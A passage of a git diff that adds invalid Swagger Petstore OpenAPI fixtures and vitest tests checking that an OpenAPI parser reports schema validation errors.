+        ],
+        "summary": "Logs user into the system",
+        "description": "",
+        "operationId": "loginUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "query",
+            "description": "The user name for login",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "password",
+            "in": "query",
+            "description": "The password for login in clear text",
+            "required": true,
+            "schema": {
+              "type": "string",
+              "format": "password"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "headers": {
+              "X-Rate-Limit": {
+                "description": "calls per hour allowed by the user",
+                "schema": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              },
+              "X-Expires-After": {
+                "description": "date in UTC when token expires",
+                "schema": {
+                  "type": "string",
+                  "format": "date-time"
+                }
+              }
+            },
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "string"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username/password supplied"
+          }
+        }
+      }
+    },
+    "/user/logout": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs out current logged in user session",
+        "description": "",
+        "operationId": "logoutUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        }
+      }
+    },
+    "/user/{username}": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Get user by user name",
+        "description": "",
+        "operationId": "getUserByName",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be fetched. Use user1 for testing. ",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      },
+      "put": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Updated user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "updateUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "name that need to be updated",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid user supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Updated user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Delete user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "deleteUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      }
+    }
+  },
+  "externalDocs": {
+    "description": "Find out more about Swagger",
+    "url": "http://swagger.io"
+  },
+  "components": {
+    "schemas": {
+      "Order": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "petId": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "quantity": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "shipDate": {
+            "type": "string",
+            "format": "date-time"
+          },
+          "status": {
+            "type": "string",
+            "description": "Order Status",
+            "enum": [
+              "placed",
+              "approved",
+              "delivered"
+            ]
+          },
+          "complete": {
+            "type": "boolean",
+            "default": false
+          }
+        },
+        "xml": {
+          "name": "Order"
+        }
+      },
+      "Category": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Category"
+        }
+      },
+      "User": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "username": {
+            "type": "string"
+          },
+          "firstName": {
+            "type": "string"
+          },
+          "lastName": {
+            "type": "string"
+          },
+          "email": {
+            "type": "string"
+          },
+          "password": {
+            "type": "string"
+          },
+          "phone": {
+            "type": "string"
+          },
+          "userStatus": {
+            "type": "integer",
+            "format": "int32",
+            "description": "User Status"
+          }
+        },
+        "xml": {
+          "name": "User"
+        }
+      },
+      "Tag": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Tag"
+        }
+      },
+      "Pet": {
+        "type": "object",
+        "required": [
+          "name",
+          "photoUrls"
+        ],
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "category": {
+            "$ref": "#/components/schemas/Category"
+          },
+          "name": {
+            "type": "string",
+            "example": "doggie"
+          },
+          "photoUrls": {
+            "type": "array",
+            "xml": {
+              "name": "photoUrl",
+              "wrapped": true
+            },
+            "items": {
+              "type": "string"
+            }
+          },
+          "tags": {
+            "type": "array",
+            "xml": {
+              "name": "tag",
+              "wrapped": true
+            },
+            "items": {
+              "$ref": "#/components/schemas/Tag"
+            }
+          },
+          "status": {
+            "type": "string",
+            "description": "pet status in the store",
+            "enum": [
+              "available",
+              "pending",
+              "sold"
+            ]
+          }
+        },
+        "xml": {
+          "name": "Pet"
+        }
+      },
+      "ApiResponse": {
+        "type": "object",
+        "properties": {
+          "code": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "type": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          }
+        }
+      }
+    },
+    "responses": {},
+    "parameters": {},
+    "examples": {},
+    "requestBodies": {
+      "requestBody1": {
+        "content": {
+          "application/json": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          },
+          "application/xml": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          }
+        }
+      },
+      "requestBody2": {
+        "content": {
+          "application/json": {
+            "description": "List of user object",
+            "schema": {
+              "type": "array",
+              "items": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "securitySchemes": {
+      "petstore_auth": {
+        "type": true,
+        "flow": {
+          "implicit": {
+            "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+            "scopes": {
+              "write:pets": "modify pets in your account",
+              "read:pets": "read your pets"
+            }
+          }
+        }
+      },
+      "api_key": {
+        "type": "apiKey",
+        "name": "api_key",
+        "in": "header"
+      }
+    },
+    "headers": {}
+  }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchema.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchema.test.ts
new file mode 100644
index 0000000..248ff38
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchema.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import invalidSchema from './invalidSchema.json'
+
+describe('invalidSchema', () => {
+  it('returns an error', async () => {
+    const result = await resolve(invalidSchema)
+
+    // TODO: Swagger Editor
+    //
+    // Resolver error at paths./test.$ref
+    // Could not resolve reference: undefined undefined
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchemaName.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchemaName.json
new file mode 100644
index 0000000..deab927
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchemaName.json
@@ -0,0 +1,1072 @@
+{
+  "openapi": "3.0.0-RC0",
+  "servers": [
+    {
+      "url": "http://petstore.swagger.io/v2"
+    }
+  ],
+  "x-origin": [
+    {
+      "url": "http://petstore.swagger.io/v2/swagger.json",
+      "format": "swagger",
+      "version": "2.0",
+      "converter": {
+        "url": "https://github.com/mermade/swagger2openapi",
+        "version": "1.2.1"
+      }
+    }
+  ],
+  "info": {
+    "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+    "version": "1.0.0",
+    "title": "Swagger Petstore",
+    "termsOfService": "http://swagger.io/terms/",
+    "contact": {
+      "email": "apiteam@swagger.io"
+    },
+    "license": {
+      "name": "Apache 2.0",
+      "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+    }
+  },
+  "tags": [
+    {
+      "name": "pet",
+      "description": "Everything about your Pets",
+      "externalDocs": {
+        "description": "Find out more",
+        "url": "http://swagger.io"
+      }
+    },
+    {
+      "name": "store",
+      "description": "Access to Petstore orders"
+    },
+    {
+      "name": "user",
+      "description": "Operations about user",
+      "externalDocs": {
+        "description": "Find out more about our store",
+        "url": "http://swagger.io"
+      }
+    }
+  ],
+  "paths": {
+    "/pet": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Add a new pet to the store",
+        "description": "",
+        "operationId": "addPet",
+        "parameters": [],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody1"
+        }
+      },
+      "put": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Update an existing pet",
+        "description": "",
+        "operationId": "updatePet",
+        "parameters": [],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          },
+          "405": {
+            "description": "Validation exception"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody1"
+        }
+      }
+    },
+    "/pet/findByStatus": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by status",
+        "description": "Multiple status values can be provided with comma separated strings",
+        "operationId": "findPetsByStatus",
+        "parameters": [
+          {
+            "name": "status",
+            "in": "query",
+            "description": "Status values that need to be considered for filter",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid status value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/findByTags": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by tags",
+        "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+        "operationId": "findPetsByTags",
+        "parameters": [
+          {
+            "name": "tags",
+            "in": "query",
+            "description": "Tags to filter by",
+            "required": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid tag value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "deprecated": true
+      }
+    },
+    "/pet/{petId}": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Find pet by ID",
+        "description": "Returns a single pet",
+        "operationId": "getPetById",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to return",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      },
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Updates a pet in the store with form data",
+        "description": "",
+        "operationId": "updatePetWithForm",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet that needs to be updated",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/x-www-form-urlencoded": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "name": {
+                    "description": "Updated name of the pet",
+                    "type": "string",
+                    "required": false
+                  },
+                  "status": {
+                    "description": "Updated status of the pet",
+                    "type": "string",
+                    "required": false
+                  }
+                }
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Deletes a pet",
+        "description": "",
+        "operationId": "deletePet",
+        "parameters": [
+          {
+            "name": "api_key",
+            "in": "header",
+            "required": false,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "Pet id to delete",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/{petId}/uploadImage": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "uploads an image",
+        "description": "",
+        "operationId": "uploadFile",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to update",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Api$Response"
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/octet-stream": {
+              "schema": {
+                "type": "string",
+                "format": "binary"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/inventory": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Returns pet inventories by status",
+        "description": "Returns a map of status codes to quantities",
+        "operationId": "getInventory",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "integer",
+                    "format": "int32"
+                  }
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      }
+    },
+    "/store/order": {
+      "post": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Place an order for a pet",
+        "description": "",
+        "operationId": "placeOrder",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid Order"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "order placed for purchasing the pet",
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/store/order/{orderId}": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Find purchase order by ID",
+        "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+        "operationId": "getOrderById",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of pet that needs to be fetched",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1,
+              "maximum": 10
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Delete purchase order by ID",
+        "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+        "operationId": "deleteOrder",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of the order that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      }
+    },
+    "/user": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Create user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "createUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Created user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "/user/createWithArray": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithArrayInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody2"
+        }
+      }
+    },
+    "/user/createWithList": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithListInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/requestBody2"
+        }
+      }
+    },
+    "/user/login": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs user into the system",
+        "description": "",
+        "operationId": "loginUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "query",
+            "description": "The user name for login",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "password",
+            "in": "query",
+            "description": "The password for login in clear text",
+            "required": true,
+            "schema": {
+              "type": "string",
+              "format": "password"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "headers": {
+              "X-Rate-Limit": {
+                "description": "calls per hour allowed by the user",
+                "schema": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              },
+              "X-Expires-After": {
+                "description": "date in UTC when token expires",
+                "schema": {
+                  "type": "string",
+                  "format": "date-time"
+                }
+              }
+            },
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "string"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username/password supplied"
+          }
+        }
+      }
+    },
+    "/user/logout": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs out current logged in user session",
+        "description": "",
+        "operationId": "logoutUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        }
+      }
+    },
+    "/user/{username}": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Get user by user name",
+        "description": "",
+        "operationId": "getUserByName",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be fetched. Use user1 for testing. ",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      },
+      "put": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Updated user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "updateUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "name that need to be updated",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid user supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "description": "Updated user object",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Delete user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "deleteUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      }
+    }
+  },
+  "externalDocs": {
+    "description": "Find out more about Swagger",
+    "url": "http://swagger.io"
+  },
+  "components": {
+    "schemas": {
+      "Order": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "petId": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "quantity": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "shipDate": {
+            "type": "string",
+            "format": "date-time"
+          },
+          "status": {
+            "type": "string",
+            "description": "Order Status",
+            "enum": [
+              "placed",
+              "approved",
+              "delivered"
+            ]
+          },
+          "complete": {
+            "type": "boolean",
+            "default": false
+          }
+        },
+        "xml": {
+          "name": "Order"
+        }
+      },
+      "Category": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Category"
+        }
+      },
+      "User": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "username": {
+            "type": "string"
+          },
+          "firstName": {
+            "type": "string"
+          },
+          "lastName": {
+            "type": "string"
+          },
+          "email": {
+            "type": "string"
+          },
+          "password": {
+            "type": "string"
+          },
+          "phone": {
+            "type": "string"
+          },
+          "userStatus": {
+            "type": "integer",
+            "format": "int32",
+            "description": "User Status"
+          }
+        },
+        "xml": {
+          "name": "User"
+        }
+      },
+      "Tag": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Tag"
+        }
+      },
+      "Pet": {
+        "type": "object",
+        "required": [
+          "name",
+          "photoUrls"
+        ],
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "category": {
+            "$ref": "#/components/schemas/Category"
+          },
+          "name": {
+            "type": "string",
+            "example": "doggie"
+          },
+          "photoUrls": {
+            "type": "array",
+            "xml": {
+              "name": "photoUrl",
+              "wrapped": true
+            },
+            "items": {
+              "type": "string"
+            }
+          },
+          "tags": {
+            "type": "array",
+            "xml": {
+              "name": "tag",
+              "wrapped": true
+            },
+            "items": {
+              "$ref": "#/components/schemas/Tag"
+            }
+          },
+          "status": {
+            "type": "string",
+            "description": "pet status in the store",
+            "enum": [
+              "available",
+              "pending",
+              "sold"
+            ]
+          }
+        },
+        "xml": {
+          "name": "Pet"
+        }
+      },
+      "Api$Response": {
+        "type": "object",
+        "properties": {
+          "code": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "type": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          }
+        }
+      }
+    },
+    "responses": {},
+    "parameters": {},
+    "examples": {},
+    "requestBodies": {
+      "requestBody1": {
+        "content": {
+          "application/json": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          },
+          "application/xml": {
+            "description": "Pet object that needs to be added to the store",
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          }
+        }
+      },
+      "requestBody2": {
+        "content": {
+          "application/json": {
+            "description": "List of user object",
+            "schema": {
+              "type": "array",
+              "items": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        }
+      }
+    },
+    "securitySchemes": {
+      "petstore_auth": {
+        "type": "oauth2",
+        "flow": {
+          "implicit": {
+            "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+            "scopes": {
+              "write:pets": "modify pets in your account",
+              "read:pets": "read your pets"
+            }
+          }
+        }
+      },
+      "api_key": {
+        "type": "apiKey",
+        "name": "api_key",
+        "in": "header"
+      }
+    },
+    "headers": {}
+  }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchemaName.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchemaName.test.ts
new file mode 100644
index 0000000..af3cc3a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/invalidSchemaName.test.ts
@@ -0,0 +1,17 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import invalidSchemaName from './invalidSchemaName.json'
+
+describe('invalidSchemaName', () => {
+  it('returns an error', async () => {
+    const result = await resolve(invalidSchemaName)
+
+    // TODO: Swagger Editor
+    //
+    // * Could not resolve reference: undefined undefined
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/license_identifier.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/license_identifier.test.ts
new file mode 100644
index 0000000..d113484
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/license_identifier.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import license_identifier from './license_identifier.yaml'
+
+describe('license_identifier', () => {
+  it('returns an error', async () => {
+    const result = await resolve(license_identifier)
+
+    // TODO: Swagger Editor
+    //
+    // Structural error at info.license
+    // should NOT have additional properties
+    // additionalProperty: identifier
+    expect(result.errors?.[0]?.error).toBe(
+      `Property identifier is not expected to be here`,
+    )
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/license_identifier.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/license_identifier.yaml
new file mode 100644
index 0000000..5f3ef43
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/license_identifier.yaml
@@ -0,0 +1,8 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+  license:
+    name: Apache
+    identifier: Apache-2.0
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathItemRef.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathItemRef.test.ts
new file mode 100644
index 0000000..88cfe64
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathItemRef.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import missingPathItemRef from './missingPathItemRef.yaml'
+
+describe.todo('missingPathItemRef', () => {
+  it('returns an error', async () => {
+    const result = await resolve(missingPathItemRef)
+
+    // TODO: Swagger Editor
+    //
+    // * Resolver error at paths./test.$ref
+    // Could not resolve reference: undefined undefined
+    expect(result.errors?.[0]?.error).toBe(`something something test`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathItemRef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathItemRef.yaml
new file mode 100644
index 0000000..c2cfed8
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathItemRef.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.0
+info:
+  title: Test invalid external $ref of PathItem
+  version: 1.0.0
+
+servers:
+- url: https://acme.com/api/v1
+
+paths:
+  /test:
+    $ref: 'missing.yaml#/paths/someresource'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam.test.ts
new file mode 100644
index 0000000..1a74ea8
--- /dev/null
